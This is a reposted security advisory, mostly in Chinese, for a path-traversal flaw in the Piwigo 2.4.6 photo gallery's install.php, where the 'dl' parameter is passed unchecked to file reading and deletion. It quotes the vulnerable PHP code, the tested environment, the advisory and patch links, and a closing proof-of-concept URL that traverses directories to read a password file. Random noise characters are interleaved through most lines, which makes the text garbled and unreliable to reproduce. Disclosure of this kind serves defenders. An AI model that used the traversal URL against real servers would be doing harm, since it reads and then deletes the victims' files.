Piwigo是用PHP编写的相册脚本。: S9 o2 R9 I5 v: a8 k
! m6 A5 O& L4 T8 a% XPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。0 @. s A" {! E
====================================================================
$ w7 o" z N+ A- D" `' U$ b& T7 _7 R/install.php:
% g* v3 }: ?7 [9 t, {-------------
: M; }4 Y! j) U+ s1 `9 C113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))) v2 q e% M7 D/ o
114: {
7 ]4 p' |; v8 E3 q7 r115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];2 W3 Y3 D7 A; Z& z ]1 v! @' `* H! I
116: header('Cache-Control: no-cache, must-revalidate');
- E4 r4 f. ~* B. c6 l0 H1 G8 a3 W117: header('Pragma: no-cache');
# z n! z6 I$ K. H6 E- j118: header('Content-Disposition: attachment; filename="database.inc.php"');. h A" c1 }2 N
119: header('Content-Transfer-Encoding: binary');
4 |$ ?( f1 ^1 i+ h" V120: header('Content-Length: '.filesize($filename));
# b$ }& d$ n7 J( i2 Q9 T6 B% g( j121: echo file_get_contents($filename);1 z& Q. b0 [- ]# D
122: unlink($filename);
' T( L E8 t2 {0 O- s6 J1 t123: exit();
( ~# ` o+ e1 r; k6 M6 F& U' j124: }% t; U' D- S" j. Z3 q! V+ D( U: G
====================================================================
( c7 m4 h! M, ` 4 U) `9 s& j+ a7 V* T3 o. z
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)7 P6 K* u: X* \
Apache 2.4.2 (Win32)' j+ \0 D8 w$ L/ g# s
PHP 5.4.4: i1 B. H) d/ N* a7 q& |" r
MySQL 5.5.25a) ?% l; D5 i/ L, z, ], N; c
) d `9 ~9 k; m- o0 X+ v7 {
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
" i/ T4 T! |% t/ | @zeroscience% E0 H+ L1 t6 W6 c! J
7 h8 |) c# y) k* R, r+ hAdvisory ID: ZSL-2013-5127
1 ?) _- P+ T" Z" Q" _' D$ q/ ~Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php* o; P, j! l" ~
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843% y6 L/ Z: G% @( o7 G
1 r6 |4 N) @) J! V$ u+ X9 j" c15.02.2013
2 @! l$ i/ D3 U/ I1 B
0 M2 X7 I8 M5 b/ ~' u3 k--
8 u+ H1 G, F: k2 r0 r& Shttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
! {$ j; k J6 m; k |7 I4 v; i
2 H# m3 P' q6 d% [) Y6 h" t |